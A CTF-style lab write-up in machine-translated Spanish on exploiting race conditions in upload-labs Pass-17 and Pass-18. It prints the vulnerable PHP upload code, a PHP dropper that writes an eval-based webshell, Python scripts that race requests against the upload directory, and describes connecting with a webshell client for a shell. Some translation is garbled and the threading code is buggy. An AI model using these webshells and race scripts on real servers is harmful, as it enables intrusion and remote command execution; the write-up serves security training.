[Upload-labs] Competencia condicional pase-17 ~ pase-18

[Upload-labs] Competencia condicional pase-17 ~ pase-18



Competencia condicional

La lógica de cargar archivos en algunos sitios web es permitir primero que se cargue cualquier archivo, luego verificar si el paquete de archivos del archivo cargado es legal (verifique el sufijo del archivo, el contenido, etc.) y elimine el archivo si lo es. ilegal. El problema aquí es que hay una pequeña diferencia de tiempo entre la carga exitosa del archivo y la eliminación del archivo (debido a que las operaciones de verificar el archivo y eliminar el archivo deben realizarse), el atacante puede usar esta diferencia de tiempo para completar el ataque de vulnerabilidad de carga de la condición de carrera.


【Pase-17】

1. Análisis del código fuente

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    
    
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
    
      //先不加过滤的将文件保存在本地
        if(in_array($file_ext,$ext_arr)){
    
       //白名单过滤后缀
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);   //改名
             $is_upload = true;
        }else{
    
    
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);  //若不合法则删除文件
        }
    }else{
    
    
        $msg = '上传出错!';
    }
}

La lógica de procesamiento de back-end es la siguiente: primero guarde cualquier archivo cargado sin filtrar, luego verifique la legalidad del archivo y elimínelo si es ilegal.

Idea de explotación de vulnerabilidades: cargue un archivo php backdoor.php escrito en el caballo de Troya, tome el paquete de datos y vuelva a reproducir el paquete de datos con subprocesos múltiples y alta concurrencia. Al mismo tiempo, use python para solicitar continuamente el archivo backdoor.php. Debido a la repetición de alta concurrencia de múltiples subprocesos que carga el archivo backdoor.php, debe haber un archivo backdoor.php que se cargó correctamente pero que no se eliminará en el futuro para que la solicitud de Python sea exitosa. Si la solicitud es exitosa, el troyano se escribirá localmente. Conéctese con un helicóptero a getshell.

2. Proceso de prueba

Prepárese para escribir el archivo de puerta trasera backdoor.php

Use Python para escribir un script para solicitar backdoor.php

Prepare la herramienta Burp para reproducir y cargar backdoor.php

#backdoor.php
#用来写入木马文件shell.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_post["cmd"])?>');?>
#requests_2.py
#用来请求backdoor.php
import requests
url = "http://ip/upload-labs/upload/backdoor.php"
url_2 = "http://ip/upload-labs/upload/shell.php"
while True:
    html = requests.get(url)
    html_2 = requests.get(url_2)
    if html_2.status_code == 200:  #判断shell.php是否写入成功
        print("OK")
        break

usamos

Primero cargue el archivo backdoor.php, tome el paquete de datos y envíelo al módulo Inturder

Realice la configuración relevante

imagen-20210321213421770 imagen-20210321213520754

Primero, ejecute request_2.py para solicitar continuamente backdoor.php y shell.php.

Cuando la solicitud de shell.php se realiza correctamente, significa que el archivo troyano se ha escrito correctamente. En este momento, devuelve OK y automáticamente deja de ejecutar el programa.

imagen-20210321213645416

Active Burp para reproducir continuamente el paquete de datos cargado en backdoor.php:

imagen-20210321213939472

imagen-20210321214000479

Pronto request_2.py recibió comentarios:

imagen-20210321214111578

¡Devuelve OK, indicando que shell.php se ha escrito correctamente!

Conéctese con un helicóptero:

imagen-20210321214507504

Como se muestra en la figura, ¡la conexión se realizó correctamente!

Nota: Python también se puede utilizar para implementar la carga de archivos de alta concurrencia de subprocesos múltiples

Adjunte el código fallido:

#upload.py
import requests
from threading import Thread
file = {
    
       #文件信息和文件
    "upload_file":open('C:\\users\\xiamo\\desktop\\backdoor.php'),
    "Content-Type":"application/octet-stream",
    "Content-Disposition":"form-data",
    "filename":"backdoor.php"
}
url = "http://192.168.1.120/upload-labs/Pass-17/index.php"
data = {
    
            #参数
    "submit":"上传"
}
def upload():
    res = requests.post(url, files=file, data=data)
    print(res.status_code)

while True:
    t = Thread(target=upload())  #创建线程
    t.start()   #开启线程

【Pase-18】

1. Análisis del código fuente

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    
    
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
    
    
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

En el método Upload de la clase Myupload, realice un filtrado de sufijos de lista blanca en los archivos cargados, determine la legalidad del tamaño del archivo y cambie el nombre de los archivos cargados. Es decir, el archivo solo se guardará si se omite el filtrado de la lista blanca del sufijo. Tenga en cuenta aquí que después de guardar el archivo, se cambiará el nombre del archivo. Por ejemplo, si se carga shell.php.xxx, cambiará el nombre de shell.php. Lo que queremos usar es la vulnerabilidad de análisis de apache combinada con la competencia condicional para iniciar el acceso a shell.php.xxx dentro de la diferencia de tiempo entre el éxito de la carga y el tiempo antes del cambio de nombre , de modo que el archivo troyano se escriba en el directorio. .

2. Proceso de prueba

Esta es la lista blanca:

imagen-20210323154829075

Puede ser la negligencia del autor, que olvidó agregar "/" a la ruta de carga, por lo que se cambió el nombre del archivo cargado a uploadxxxxx.jpg, y se cargó en el directorio upload-labs, pero después de mi modificación, fue finalmente normal Up.

Simplemente agregue una barra en el lugar correspondiente en el archivo myupload.php:

imagen-20210323162510313

imagen-20210323162336996

empezar a probar:

imagen-20210323170525214

imagen-20210323170553728

Comienza el ataque:

imagen-20210323170629484

Al mismo tiempo, ejecute la secuencia de comandos de Python solicitada:

#requests_2.py
import requests
from threading import Thread
url = "http://192.168.1.120/upload-labs/upload/backdoor.php.7z"
url_2 = "http://192.168.1.120/upload-labs/upload/shell.php"
def request():
    global html
    global html_2
    html = requests.get(url)   //不断访问backdoor.\php生成木马
    print(html.status_code)
    html_2 = requests.get(url_2)   //访问shell.\php判断是否生成
    
while True:
    t = Thread(target=request())
    t.start()
    if html_2.status_code == 200:   //当shell生成时终止
        print("shell.php已生成!")
        break
imagen-20210323170853232 imagen-20210323170910578

imagen-20210323170938130

¡Entonces conéctelo con un helicóptero!

Supongo que te gusta

Origin blog.csdn.net/qq_43665434/article/details/115131927
Recomendado
Clasificación